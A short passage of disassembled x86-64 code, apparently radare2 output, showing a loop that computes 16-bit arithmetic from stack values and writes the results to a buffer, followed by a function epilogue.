movss dword [rsp + 0x20], xmm7
call fcn.14001d2d8
mov rcx, qword [rsp + 0x60]
mov r8d, 1
movzx eax, word [rbp + 0x20]
add r14d, r8d
sub ax, word [rsp + 0xd8]
add r13, r8
add ax, word [rbp + 0x1c]
add r15d, r8d
add ax, word [rsp + 0x50]
add r12, 4
sub ax, r8w
mov word [rcx - 2], ax
movzx eax, word [rbp + 0x24]
sub ax, word [rsp + 0x54]
add ax, word [rbp + 0x1c]
add ax, word [rsp + 0x58]
sub ax, r8w
mov word [rcx], ax
add rcx, 0x10
mov qword [rsp + 0x60], rcx
cmp r15d, dword [rbx - 0x10]
jl 0x14001d83d
mov r11d, 0x100
add rbx, 0x28
sub rdi, r8
jne 0x14001d78c
movaps xmm7, xmmword [rsp + 0x70]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov eax, r14d
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret